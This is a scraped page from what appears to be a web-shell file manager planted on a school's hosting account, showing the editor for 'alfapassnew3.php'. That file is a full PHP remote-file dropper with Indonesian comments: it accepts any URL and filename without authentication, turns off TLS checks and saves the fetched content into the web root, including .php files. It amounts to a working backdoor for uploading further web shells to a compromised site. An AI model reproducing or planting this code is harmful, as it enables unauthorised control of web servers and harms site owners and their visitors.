🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-07-05 20:20:52 | PHP 8.1.34
📂
/ (Root)
/
home2
/
kiarazco
/
arunodayaschool.com.np
📍 /home2/kiarazco/arunodayaschool.com.np
🔄 Refresh
✏️
Editing: alfapassnew3.php
Writable
<?php // downloader.php - Script untuk mengunduh file ke server (direktori yang sama) // Pastikan allow_url_fopen = On atau curl enabled di php.ini // Konfigurasi $download_dir = __DIR__ . '/'; // Direktori yang sama dengan script $error = ''; $success = ''; $downloaded_files = []; // Cek permission direktori if (!is_writable($download_dir)) { $error = '⌠Direktori tidak dapat ditulisi! Periksa permission folder.'; } // Proses form submission if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'download') { $file_url = isset($_POST['file_url']) ? trim($_POST['file_url']) : ''; $custom_filename = isset($_POST['custom_filename']) ? trim($_POST['custom_filename']) : ''; // Validasi input if (empty($file_url)) { $error = '⌠URL file tidak boleh kosong!'; } elseif (!filter_var($file_url, FILTER_VALIDATE_URL)) { $error = '⌠Format URL tidak valid!'; } elseif (empty($custom_filename)) { $error = '⌠Nama file tidak boleh kosong!'; } else { // Sanitasi nama file - hapus karakter berbahaya $custom_filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $custom_filename); $custom_filename = trim($custom_filename, '._-'); if (empty($custom_filename)) { $error = '⌠Nama file tidak valid setelah sanitasi!'; } else { $file_path = $download_dir . $custom_filename; // Cek apakah file dengan nama sama sudah ada if (file_exists($file_path)) { $file_info = pathinfo($custom_filename); $timestamp = '_' . date('Y-m-d_H-i-s'); $custom_filename = $file_info['filename'] . $timestamp . '.' . ($file_info['extension'] ?? ''); $file_path = $download_dir . $custom_filename; } // Coba download dengan cURL terlebih dahulu $file_content = false; $error_message = ''; if (function_exists('curl_version')) { // Menggunakan cURL $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $file_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 300, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_HEADER => false, CURLOPT_ENCODING => '', CURLOPT_AUTOREFERER => true, ]); $file_content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curl_error = curl_error($ch); $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); curl_close($ch); if ($file_content === false || !empty($curl_error)) { $error_message = 'cURL Error: ' . $curl_error; } elseif ($http_code !== 200) { $error_message = "HTTP Error: $http_code"; } } else { // Fallback ke file_get_contents $context = stream_context_create([ 'http' => [ 'timeout' => 300, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'follow_location' => true, 'max_redirects' => 5, ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ]); $file_content = @file_get_contents($file_url, false, $context); if ($file_content === false) { $error_message = 'Gagal mengunduh dengan file_get_contents'; } } // Proses hasil download if ($file_content === false || !empty($error_message)) { $error = "⌠Gagal mengunduh file!\n" . $error_message; } elseif (empty($file_content) || strlen($file_content) === 0) { $error = '⌠File yang diunduh kosong (0 bytes)!'; } else { // Simpan file ke server $save_result = @file_put_contents($file_path, $file_content, LOCK_EX); if ($save_result === false) { $error = '⌠Gagal menyimpan file ke server! Periksa permission direktori.'; } else { // Set permission file @chmod($file_path, 0644); // Format ukuran file $file_size = formatFileSize($save_result); // Tentukan MIME type $mime_type = 'application/octet-stream'; if (isset($content_type) && !empty($content_type)) { $mime_type = $content_type; } elseif (function_exists('mime_content_type')) { $detected_mime = @mime_content_type($file_path); if ($detected_mime) { $mime_type = $detected_mime; } } $success = "✅ File berhasil diunduh ke server!\n\n"; $success .= "📠Nama File: $custom_filename\n"; $success .= "📊 Ukuran: $file_size\n"; $success .= "📋 Tipe: $mime_type\n"; $success .= "📂 Lokasi: " . basename(__FILE__) . " (folder yang sama)\n"; $success .= "🔗 URL File: " . htmlspecialchars($file_url); } } } } } // Format ukuran file function formatFileSize($bytes) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow]; } // Fungsi mendapatkan daftar file yang diunduh function getDownloadedFiles($dir) { $files = []; $current_script = basename(__FILE__); if (is_dir($dir) && is_readable($dir)) { $items = scandir($dir); foreach ($items as $item) { // Skip direktori, file sistem, dan script ini sendiri if ($item === '.' || $item === '..' || $item === $current_script || is_dir($dir . $item)) { continue; } $file_path = $dir . $item; if (is_file($file_path) && is_readable($file_path)) { $files[] = [ 'name' => $item, 'size' => formatFileSize(filesize($file_path)), 'date' => date('Y-m-d H:i:s', filemtime($file_path)), 'path' => $item, 'ext' => strtolower(pathinfo($item, PATHINFO_EXTENSION)), ]; } } } // Sort by date (newest first) usort($files, function($a, $b) { return strcmp($b['date'], $a['date']); }); return $files; } // Dapatkan daftar file $downloaded_files = getDownloadedFiles($download_dir); $total_files = count($downloaded_files); $total_size = 0; foreach ($downloaded_files as $file) { $total_size += filesize($download_dir . $file['name']); } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Server File Downloader - Simpan ke Server</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: linear-gradient(135deg, #0f2027 0%, #203a43 50%, #2c5364 100%); min-height: 100vh; padding: 20px; color: #333; } .container { max-width: 1000px; margin: 0 auto; } .header { text-align: center; color: white; margin-bottom: 30px; padding: 30px; background: rgba(255, 255, 255, 0.1); border-radius: 20px; backdrop-filter: blur(10px); } .header .icon { font-size: 60px; display: block; margin-bottom: 15px; } .header h1 { font-size: 32px; margin-bottom: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.3); } .header p { font-size: 16px; opacity: 0.9; } .server-badge { display: inline-block; background: #4CAF50; color: white; padding: 5px 15px; border-radius: 20px; font-size: 12px; margin-top: 10px; } .main-content { margin-bottom: 30px; } .card { background: white; border-radius: 20px; padding: 30px; box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3); margin-bottom: 30px; } .card-title { font-size: 22px; font-weight: 700; color: #203a43; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 3px solid #203a43; display: flex; align-items: center; gap: 10px; } .form-group { margin-bottom: 20px; } .form-group label { display: block; margin-bottom: 8px; font-weight: 600; color: #333; font-size: 14px; } .form-group label .emoji { margin-right: 5px; } .form-group input { width: 100%; padding: 14px 18px; border: 2px solid #e0e0e0; border-radius: 12px; font-size: 14px; transition: all 0.3s ease; background: #f8f9fa; } .form-group input:focus { outline: none; border-color: #203a43; box-shadow: 0 0 0 4px rgba(32, 58, 67, 0.1); background: white; } .form-group input:hover { border-color: #203a43; } .hint { font-size: 12px; color: #666; margin-top: 5px; display: block; } .btn-submit { width: 100%; padding: 16px; background: linear-gradient(135deg, #0f2027 0%, #203a43 100%); color: white; border: none; border-radius: 12px; font-size: 16px; font-weight: 700; cursor: pointer; transition: all 0.3s ease; text-transform: uppercase; letter-spacing: 1px; position: relative; overflow: hidden; } .btn-submit:hover { transform: translateY(-2px); box-shadow: 0 15px 30px rgba(32, 58, 67, 0.4); } .btn-submit:active { transform: translateY(0); } .btn-submit:disabled { background: #ccc; cursor: not-allowed; transform: none; } .alert { padding: 20px; border-radius: 12px; margin-bottom: 20px; font-size: 14px; line-height: 1.6; white-space: pre-line; animation: slideDown 0.3s ease; } @keyframes slideDown { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } } .alert-error { background: #fff5f5; color: #c53030; border: 2px solid #fed7d7; } .alert-success { background: #f0fff4; color: #22543d; border: 2px solid #c6f6d5; } .file-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 20px; max-height: 500px; overflow-y: auto; padding: 5px; } .file-card { background: white; border: 2px solid #e0e0e0; border-radius: 15px; padding: 20px; transition: all 0.3s ease; position: relative; } .file-card:hover { border-color: #203a43; box-shadow: 0 10px 30px rgba(0,0,0,0.1); transform: translateY(-2px); } .file-icon { font-size: 40px; margin-bottom: 10px; text-align: center; } .file-name { font-weight: 600; color: #203a43; margin-bottom: 10px; word-break: break-all; font-size: 14px; } .file-meta { font-size: 11px; color: #666; margin-bottom: 5px; } .file-action { margin-top: 15px; text-align: center; } .btn-download { background: #4CAF50; color: white; padding: 8px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 12px; text-decoration: none; display: inline-block; transition: all 0.3s ease; font-weight: 600; } .btn-download:hover { background: #45a049; transform: scale(1.05); } .empty-state { text-align: center; padding: 60px 20px; color: #999; } .empty-state .icon { font-size: 80px; display: block; margin-bottom: 20px; opacity: 0.5; } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 20px; } .stat-card { background: linear-gradient(135deg, #0f2027 0%, #203a43 100%); color: white; padding: 20px; border-radius: 15px; text-align: center; } .stat-value { font-size: 28px; font-weight: 700; margin-bottom: 5px; } .stat-label { font-size: 12px; opacity: 0.9; } .progress-container { margin-top: 15px; display: none; } .progress-bar { width: 100%; height: 8px; background: #e0e0e0; border-radius: 10px; overflow: hidden; } .progress-fill { height: 100%; background: linear-gradient(90deg, #0f2027, #203a43); width: 0%; transition: width 0.3s ease; border-radius: 10px; animation: progress 2s ease infinite; } @keyframes progress { 0% { width: 0%; } 100% { width: 90%; } } .progress-text { text-align: center; margin-top: 8px; font-size: 12px; color: #666; } @media (max-width: 768px) { .file-grid { grid-template-columns: 1fr; } .header h1 { font-size: 24px; } .card { padding: 20px; } } /* Scrollbar styling */ ::-webkit-scrollbar { width: 8px; } ::-webkit-scrollbar-track { background: #f1f1f1; border-radius: 10px; } ::-webkit-scrollbar-thumb { background: #888; border-radius: 10px; } ::-webkit-scrollbar-thumb:hover { background: #555; } </style> </head> <body> <div class="container"> <!-- Header --> <div class="header"> <span class="icon">🖥ï¸</span> <h1>Server File Downloader</h1> <p>Unduh file dari URL langsung ke server hosting</p> <span class="server-badge">âš¡ File tersimpan di folder yang sama</span> </div> <!-- Form Download --> <div class="main-content"> <div class="card"> <div class="card-title"> 📥 Unduh File dari URL </div> <?php if ($error): ?> <div class="alert alert-error"> <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if ($success): ?> <div class="alert alert-success"> <?php echo htmlspecialchars($success); ?> </div> <?php endif; ?> <form id="downloadForm" method="POST" action=""> <input type="hidden" name="action" value="download"> <div class="form-group"> <label> <span class="emoji">🔗</span> URL File Sumber </label> <input type="url" name="file_url" id="file_url" placeholder="https://example.com/file.pdf" required autocomplete="off" > <span class="hint">Masukkan URL lengkap file yang ingin diunduh ke server</span> </div> <div class="form-group"> <label> <span class="emoji">âœï¸</span> Nama File di Server </label> <input type="text" name="custom_filename" id="custom_filename" placeholder="nama-file-anda.ekstensi" required autocomplete="off" > <span class="hint"> Contoh: dokumen.pdf, backup.zip, gambar.jpg, video.mp4<br> File akan disimpan di folder yang sama dengan script ini </span> </div> <button type="submit" class="btn-submit" id="submitBtn"> â¬‡ï¸ Unduh File ke Server </button> <div class="progress-container" id="progressContainer"> <div class="progress-bar"> <div class="progress-fill"></div> </div> <div class="progress-text">Mengunduh file ke server...</div> </div> </form> </div> <!-- Statistik --> <div class="stats-grid"> <div class="stat-card"> <div class="stat-value">📠<?php echo $total_files; ?></div> <div class="stat-label">Total File di Server</div> </div> <div class="stat-card"> <div class="stat-value">💾 <?php echo formatFileSize($total_size); ?></div> <div class="stat-label">Total Ukuran File</div> </div> <div class="stat-card"> <div class="stat-value">📂 <?php echo basename(__FILE__); ?></div> <div class="stat-label">Lokasi Script</div> </div> <div class="stat-card"> <div class="stat-value">🕒 <?php echo date('H:i:s'); ?></div> <div class="stat-label">Waktu Server</div> </div> </div> <!-- Daftar File --> <div class="card" style="margin-top: 30px;"> <div class="card-title"> 📂 File yang Tersimpan di Server <span style="font-size: 14px; margin-left: auto; color: #666;"> <?php echo $total_files; ?> file </span> </div> <?php if (empty($downloaded_files)): ?> <div class="empty-state"> <span class="icon">ðŸ“</span> <h3>Belum Ada File</h3> <p>File yang diunduh dari URL akan muncul di sini</p> <small>Semua file tersimpan di folder yang sama dengan script ini</small> </div> <?php else: ?> <div class="file-grid"> <?php foreach ($downloaded_files as $file): // Tentukan icon berdasarkan ekstensi $icon = '📄'; $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $archive_extensions = ['zip', 'rar', '7z', 'tar', 'gz']; $video_extensions = ['mp4', 'avi', 'mkv', 'mov', 'wmv']; $audio_extensions = ['mp3', 'wav', 'flac', 'aac', 'ogg']; if (in_array($file['ext'], $image_extensions)) $icon = '🖼ï¸'; elseif (in_array($file['ext'], $archive_extensions)) $icon = '📦'; elseif (in_array($file['ext'], $video_extensions)) $icon = '🎬'; elseif (in_array($file['ext'], $audio_extensions)) $icon = '🎵'; elseif ($file['ext'] === 'pdf') $icon = '📕'; elseif (in_array($file['ext'], ['doc', 'docx'])) $icon = 'ðŸ“'; elseif (in_array($file['ext'], ['xls', 'xlsx'])) $icon = '📊'; elseif (in_array($file['ext'], ['ppt', 'pptx'])) $icon = '📽ï¸'; ?> <div class="file-card"> <div class="file-icon"><?php echo $icon; ?></div> <div class="file-name"><?php echo htmlspecialchars($file['name']); ?></div> <div class="file-meta">📊 <?php echo $file['size']; ?></div> <div class="file-meta">🕠<?php echo $file['date']; ?></div> <div class="file-action"> <a href="<?php echo htmlspecialchars($file['path']); ?>" class="btn-download" download="<?php echo htmlspecialchars($file['name']); ?>"> 📥 Download </a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('downloadForm'); const urlInput = document.getElementById('file_url'); const filenameInput = document.getElementById('custom_filename'); const submitBtn = document.getElementById('submitBtn'); const progressContainer = document.getElementById('progressContainer'); // Auto-fill nama file dari URL urlInput.addEventListener('input', function() { if (!filenameInput.value || filenameInput.dataset.autoFilled === 'true') { try { const url = new URL(this.value); const pathname = url.pathname; let filename = pathname.substring(pathname.lastIndexOf('/') + 1); if (filename && filename.includes('.')) { filename = decodeURIComponent(filename); filenameInput.value = filename; filenameInput.dataset.autoFilled = 'true'; } } catch (e) { // URL tidak valid } } }); // Reset auto-fill saat user mengetik manual filenameInput.addEventListener('input', function() { this.dataset.autoFilled = 'false'; }); // Validasi form sebelum submit form.addEventListener('submit', function(e) { let isValid = true; let errorMessages = []; // Validasi URL const url = urlInput.value.trim(); if (!url) { errorMessages.push('URL file tidak boleh kosong!'); isValid = false; } else { try { const urlObj = new URL(url); if (!['http:', 'https:'].includes(urlObj.protocol)) { errorMessages.push('URL harus menggunakan HTTP atau HTTPS!'); isValid = false; } } catch (error) { errorMessages.push('Format URL tidak valid!'); isValid = false; } } // Validasi nama file const filename = filenameInput.value.trim(); if (!filename) { errorMessages.push('Nama file tidak boleh kosong!'); isValid = false; } else if (!filename.includes('.')) { errorMessages.push('Nama file harus memiliki ekstensi (contoh: file.pdf)!'); isValid = false; } else if (filename.length > 255) { errorMessages.push('Nama file terlalu panjang (maksimal 255 karakter)!'); isValid = false; } if (!isValid) { e.preventDefault(); alert('âš ï¸ Error:\n\n' + errorMessages.join('\n')); return false; } // Tampilkan progress progressContainer.style.display = 'block'; submitBtn.disabled = true; submitBtn.textContent = 'â³ Mengunduh...'; // Biarkan form submit normal return true; }); }); </script> </body> </html>
💾 Save Changes
❌ Cancel